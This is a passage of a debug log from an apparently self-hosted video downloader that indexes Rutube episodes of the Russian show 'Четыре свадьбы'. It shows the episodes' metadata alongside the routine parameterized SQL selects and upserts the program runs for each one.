1 [9404] 14:36:10.787 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Невесты отправятся на мероприятия друг друга. В Краснодаре состоится классическая свадьба Карины, фишкой которой станет появление жениха. А в Санкт-Петербурге пройдут три свадьбы. У Жанны будет классическая свадьба с фуршетом во дворце. У Ольги – современная свадьба с отсутствием традиций. У Анны – свадьба в стиле элегантный минимализм с цыганскими танцами. Как участницы оценят торжества соперниц, узнаем из программы «Четыре свадьбы».", "duration" => 5661, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e040100 - Четыре свадьбы: Молодежная классика VS Элегантный минимализм.mp4", "id" => "2bc37ac68c0dbf78670d5d0e1327a7f4", "original_url" => "https://rutube.ru/video/2bc37ac68c0dbf78670d5d0e1327a7f4/", "playlist_index" => 100, "timestamp" => 1743528607, "title" => "Четыре свадьбы: Молодежная классика VS Элегантный минимализм", "upload_date" => "20250401"} 14:36:10.788 [debug] QUERY OK source="sources" db=0.4ms idle=27.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:10.789 [debug] QUERY OK source="sources" db=0.4ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:10.790 [debug] QUERY OK source="media_items" db=0.4ms idle=4.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-01 17:30:07Z], 1] 14:36:10.818 [debug] QUERY OK source="media_items" db=27.0ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Невесты отправятся на мероприятия друг друга. В Краснодаре состоится классическая свадьба Карины, фишкой которой станет появление жениха. А в Санкт-Петербурге пройдут три свадьбы. У Жанны будет классическая свадьба с фуршетом во дворце. У Ольги – современная свадьба с отсутствием традиций. У Анны – свадьба в стиле элегантный минимализм с цыганскими танцами. Как участницы оценят торжества соперниц, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Молодежная классика VS Элегантный минимализм", "2581c533-5497-47a8-8a4a-42fa1d92a0bf", "2bc37ac68c0dbf78670d5d0e1327a7f4", 5661, false, "https://rutube.ru/video/2bc37ac68c0dbf78670d5d0e1327a7f4/", 100, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e040100 - Четыре свадьбы: Молодежная классика VS Элегантный минимализм.mp4", false, false, false, 1, [], 1, ~U[2025-04-01 17:30:07Z], ~U[2025-12-09 11:36:10Z], ~U[2025-12-09 11:36:10Z], "Невесты отправятся на мероприятия друг друга. В Краснодаре состоится классическая свадьба Карины, фишкой которой станет появление жениха. А в Санкт-Петербурге пройдут три свадьбы. У Жанны будет классическая свадьба с фуршетом во дворце. У Ольги – современная свадьба с отсутствием традиций. У Анны – свадьба в стиле элегантный минимализм с цыганскими танцами. Как участницы оценят торжества соперниц, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Молодежная классика VS Элегантный минимализм", "2bc37ac68c0dbf78670d5d0e1327a7f4", 5661, false, "https://rutube.ru/video/2bc37ac68c0dbf78670d5d0e1327a7f4/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e040100 - Четыре свадьбы: Молодежная классика VS Элегантный минимализм.mp4", false, 1, ~U[2025-04-01 17:30:07Z]] 14:36:10.820 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=31.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:10.821 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=32.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:10.822 [debug] QUERY OK source="media_items" db=0.9ms idle=32.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11359] 14:36:10.823 [debug] Current batch of media processed. Will check again in 1000ms 14:36:11.823 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Свадебный марафон начинается! Елизавета из Липецка пригласит участниц на свою свадьбу «случайности не случайны». Адель из Уфы выберет для своего торжества классический стиль с элементами осенней тематики. Свадьбу Марии из Екатеринбурга организуют её друзья. А у Елены из Екатеринбурга будет свадьба в секретном стиле. Понравятся ли девушкам мероприятия соперниц, узнаем из программы «Четыре свадьбы».", "duration" => 5496, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e040800 - Четыре свадьбы: Классическая свадьба VS Свадьба в секретном стиле.mp4", "id" => "81ddf241078b341a7296571cdb46be12", "original_url" => "https://rutube.ru/video/81ddf241078b341a7296571cdb46be12/", "playlist_index" => 101, "timestamp" => 1744133472, "title" => "Четыре свадьбы: Классическая свадьба VS Свадьба в секретном стиле", "upload_date" => "20250408"} 14:36:11.825 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1006.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:11.826 [debug] QUERY OK source="sources" db=0.7ms idle=1005.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:11.828 [debug] QUERY OK source="media_items" db=1.2ms idle=1005.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-08 17:31:12Z], 1] 14:36:11.855 [debug] QUERY OK source="media_items" db=26.6ms idle=1005.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадебный марафон начинается! Елизавета из Липецка пригласит участниц на свою свадьбу «случайности не случайны». Адель из Уфы выберет для своего торжества классический стиль с элементами осенней тематики. Свадьбу Марии из Екатеринбурга организуют её друзья. А у Елены из Екатеринбурга будет свадьба в секретном стиле. Понравятся ли девушкам мероприятия соперниц, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Классическая свадьба VS Свадьба в секретном стиле", "1b8dbb49-4d6a-4609-8ccb-18cf03dc4052", "81ddf241078b341a7296571cdb46be12", 5496, false, "https://rutube.ru/video/81ddf241078b341a7296571cdb46be12/", 101, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e040800 - Четыре свадьбы: Классическая свадьба VS Свадьба в секретном стиле.mp4", false, false, false, 1, [], 1, ~U[2025-04-08 17:31:12Z], ~U[2025-12-09 11:36:11Z], ~U[2025-12-09 11:36:11Z], "Свадебный марафон начинается! Елизавета из Липецка пригласит участниц на свою свадьбу «случайности не случайны». Адель из Уфы выберет для своего торжества классический стиль с элементами осенней тематики. Свадьбу Марии из Екатеринбурга организуют её друзья. А у Елены из Екатеринбурга будет свадьба в секретном стиле. Понравятся ли девушкам мероприятия соперниц, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Классическая свадьба VS Свадьба в секретном стиле", "81ddf241078b341a7296571cdb46be12", 5496, false, "https://rutube.ru/video/81ddf241078b341a7296571cdb46be12/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e040800 - Четыре свадьбы: Классическая свадьба VS Свадьба в секретном стиле.mp4", false, 1, ~U[2025-04-08 17:31:12Z]] 14:36:11.867 [debug] QUERY OK source="sources" db=11.4ms queue=0.1ms idle=506.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:11.868 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=42.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:11.870 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=42.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13397] 14:36:11.870 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты оценят торжества друг друга. Алёна из Ульяновска устроит на своей свадьбе модный показ. Анастасия из Ишима попробует удивить конкуренток свадьбой наоборот. На свадьбу Анастасии из Санкт-Петербурга гости придут в костюмах героев комиксов. А у Ирины из Нижнего Новгорода будет классическая свадьба с элементами современности. Смотрите программу «Четыре свадьбы»!", "duration" => 5536, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e041500 - Четыре свадьбы: Свадьба в стиле комиксов VS Свадьба в стиле модного показа.mp4", "id" => "4346f9e55622f9aac4c3318350b45f24", "original_url" => "https://rutube.ru/video/4346f9e55622f9aac4c3318350b45f24/", "playlist_index" => 102, "timestamp" => 1744738207, "title" => "Четыре свадьбы: Свадьба в стиле комиксов VS Свадьба в стиле модного показа", "upload_date" => "20250415"} 14:36:11.871 [debug] QUERY OK source="sources" db=0.8ms idle=42.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:11.873 [debug] QUERY OK source="sources" db=0.8ms idle=16.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:11.874 [debug] QUERY OK source="media_items" db=0.6ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-15 17:30:07Z], 1] 14:36:11.903 [debug] QUERY OK source="media_items" db=28.0ms idle=5.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят торжества друг друга. Алёна из Ульяновска устроит на своей свадьбе модный показ. Анастасия из Ишима попробует удивить конкуренток свадьбой наоборот. На свадьбу Анастасии из Санкт-Петербурга гости придут в костюмах героев комиксов. А у Ирины из Нижнего Новгорода будет классическая свадьба с элементами современности. Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Свадьба в стиле комиксов VS Свадьба в стиле модного показа", "03d046da-bfcf-4c15-8b18-992e6651a1d5", "4346f9e55622f9aac4c3318350b45f24", 5536, false, "https://rutube.ru/video/4346f9e55622f9aac4c3318350b45f24/", 102, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e041500 - Четыре свадьбы: Свадьба в стиле комиксов VS Свадьба в стиле модного показа.mp4", false, false, false, 1, [], 1, ~U[2025-04-15 17:30:07Z], ~U[2025-12-09 11:36:11Z], ~U[2025-12-09 11:36:11Z], "Четыре невесты оценят торжества друг друга. Алёна из Ульяновска устроит на своей свадьбе модный показ. Анастасия из Ишима попробует удивить конкуренток свадьбой наоборот. На свадьбу Анастасии из Санкт-Петербурга гости придут в костюмах героев комиксов. А у Ирины из Нижнего Новгорода будет классическая свадьба с элементами современности. Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Свадьба в стиле комиксов VS Свадьба в стиле модного показа", "4346f9e55622f9aac4c3318350b45f24", 5536, false, "https://rutube.ru/video/4346f9e55622f9aac4c3318350b45f24/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e041500 - Четыре свадьбы: Свадьба в стиле комиксов VS Свадьба в стиле модного показа.mp4", false, 1, ~U[2025-04-15 17:30:07Z]] 14:36:11.920 [debug] QUERY OK source="sources" db=17.4ms queue=0.1ms idle=33.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:11.922 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=49.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:11.924 [debug] QUERY OK source="media_items" db=0.9ms idle=49.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14209] 14:36:11.925 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В этом выпуске примут участие Дарья из Рязани, Алиса из Краснодара, Тамара из Благодарного и Анастасия из Кирова. У Дарьи будет свадьба в осеннем стиле, у Алисы – в стиле «кинотеатр любви», у Тамары – татаро-ассирийская свадьба, а у Анастасии – свадьба в европейском стиле. Чьё торжество впечатлит соперниц, узнаем из программы «Четыре свадьбы».\n\nПриложение VK Знакомства. Подписка Premium бесплатно на 7 дней для новых пользователей. Подробнее: vk.cc/vkdating_trial. Скачать и зарегистрироваться: https://bit.ly/44LBavE Соглашения: vk.com/terms, dating.vk.com/legal/terms, dating.vk.com/legal/license. VK – BK.", "duration" => 5657, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e042600 - Четыре свадьбы: Свадьба в осеннем стиле VS Татаро-ассирийская свадьба.mp4", "id" => "b15d0afcafa925ce09183bf76d1d030b", "original_url" => "https://rutube.ru/video/b15d0afcafa925ce09183bf76d1d030b/", "playlist_index" => 103, "timestamp" => 1745658609, "title" => "Четыре свадьбы: Свадьба в осеннем стиле VS Татаро-ассирийская свадьба", "upload_date" => "20250426"} 14:36:11.926 [debug] QUERY OK source="sources" db=0.9ms idle=51.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:11.927 [debug] QUERY OK source="sources" db=0.4ms idle=24.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:11.928 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-26 09:10:09Z], 1] 14:36:11.942 [debug] QUERY OK source="media_items" db=13.2ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие Дарья из Рязани, Алиса из Краснодара, Тамара из Благодарного и Анастасия из Кирова. У Дарьи будет свадьба в осеннем стиле, у Алисы – в стиле «кинотеатр любви», у Тамары – татаро-ассирийская свадьба, а у Анастасии – свадьба в европейском стиле. Чьё торжество впечатлит соперниц, узнаем из программы «Четыре свадьбы».\n\nПриложение VK Знакомства. Подписка Premium бесплатно на 7 дней для новых пользователей. Подробнее: vk.cc/vkdating_trial. Скачать и зарегистрироваться: https://bit.ly/44LBavE Соглашения: vk.com/terms, dating.vk.com/legal/terms, dating.vk.com/legal/license. VK – BK.", "Четыре свадьбы: Свадьба в осеннем стиле VS Татаро-ассирийская свадьба", "f5decba8-0cc5-482a-93de-cf068bacc99b", "b15d0afcafa925ce09183bf76d1d030b", 5657, false, "https://rutube.ru/video/b15d0afcafa925ce09183bf76d1d030b/", 103, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e042600 - Четыре свадьбы: Свадьба в осеннем стиле VS Татаро-ассирийская свадьба.mp4", false, false, false, 1, [], 1, ~U[2025-04-26 09:10:09Z], ~U[2025-12-09 11:36:11Z], ~U[2025-12-09 11:36:11Z], "В этом выпуске примут участие Дарья из Рязани, Алиса из Краснодара, Тамара из Благодарного и Анастасия из Кирова. У Дарьи будет свадьба в осеннем стиле, у Алисы – в стиле «кинотеатр любви», у Тамары – татаро-ассирийская свадьба, а у Анастасии – свадьба в европейском стиле. Чьё торжество впечатлит соперниц, узнаем из программы «Четыре свадьбы».\n\nПриложение VK Знакомства. Подписка Premium бесплатно на 7 дней для новых пользователей. Подробнее: vk.cc/vkdating_trial. Скачать и зарегистрироваться: https://bit.ly/44LBavE Соглашения: vk.com/terms, dating.vk.com/legal/terms, dating.vk.com/legal/license. VK – BK.", "Четыре свадьбы: Свадьба в осеннем стиле VS Татаро-ассирийская свадьба", "b15d0afcafa925ce09183bf76d1d030b", 5657, false, "https://rutube.ru/video/b15d0afcafa925ce09183bf76d1d030b/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e042600 - Четыре свадьбы: Свадьба в осеннем стиле VS Татаро-ассирийская свадьба.mp4", false, 1, ~U[2025-04-26 09:10:09Z]] 14:36:11.954 [debug] QUERY OK source="sources" db=11.1ms queue=0.5ms idle=18.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:11.955 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=28.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:11.957 [debug] QUERY OK source="media_items" db=1.2ms idle=28.7ms SELECT 1 FROM "media_items" AS m0 